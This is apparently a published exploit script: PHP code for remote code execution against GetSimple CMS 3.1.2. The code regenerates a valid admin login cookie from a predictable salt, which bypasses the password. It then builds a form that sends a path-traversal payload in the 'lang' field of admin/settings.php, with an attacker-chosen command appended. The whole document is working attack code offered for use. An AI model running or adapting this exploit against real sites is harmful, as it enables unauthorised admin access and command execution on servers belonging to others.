GetSimple 3.1.2 Code Execution

<?php
	// --------------------------------
	// iHaiHa-vs-hosting2rce.php	
	// --------------------------------
	// 26.12.2o12
	// 
	// Specjal thanks to ihaiha team for 
	// 'point of view'. 
	// 


// cookie() grepped from GetSimple 3.1.2, THANKS! ;]
// just for 'knowing the cookie'.
function create_cookie() {
	global $USR,$SALT,$cookie_time,$cookie_name; 
	$saltUSR = $USR.$SALT;
	$saltCOOKIE = sha1($cookie_name.$SALT);
	setcookie($saltCOOKIE, sha1($saltUSR), time() + $cookie_time,'/');
	setcookie('GS_ADMIN_USERNAME', $USR, time() + $cookie_time,'/');
}


// get-IT-simple-ihaiha-kod-yeah
function getsimple_cookie(){

	// potrzebujemy:
	$authenticated = true;
	$USR = 'admin'; //$_POST['userid']; // admin?
	$ver_no_clean = '3.1.2';
	$SITEURL = '/your/GetSimple_3.1.2/admin/settings.php'; //$_POST['siteurl'];
	$SALT = sha1($SITEURL);
	$cookie_time = '7200';

	$site_full_name = 'GetSimple';
	$name_url_clean = strtolower(str_replace(' ','-',$site_full_name));
	$cookie_name = strtolower($name_url_clean) .'_cookie_'. $ver_no_clean;

	echo 'It should be interesting that we can (re)generate valid cookie<br>';
	echo 'and login without password, right? <br><br><b>Generated cookie:  ';
	echo $cookie_name . '<br></b>';
	echo '<br>Anyway: this simple code exploits vulnerability in :<br>';
	echo '<b>admin/settings.php</b>:';

	
	if( $authenticated ) {
                # YES - set the login cookie, then redirect user to secure panel 
//              create_cookie();
		setcookie('GS_ADMIN_USERNAME', $USR, time() + 3600,'/');
	
		echo '<form method="post" action="'. $SITEURL .'">';
		echo '<input type="hidden" name="username" value="' . $USR . '">';
		echo '<input type="hidden" name="pwd" value="ihaihaiha">'; // sample; as a hardcoded (wrong anyway) pass
		echo '<input type="hidden" name="lang" value="en_US/../../../../../../../../../../tmp/&cmd='.$_POST['cmd'].'">';
		echo '<br>So add come cmd: <br>';
		echo 'cmd: <input type="text" name="cmd">';
		echo '<input type="submit" value="teraz">';
	} else {
		echo 'Nope. :C';
	}



} // end of getsimple_cookie()

getsimple_cookie();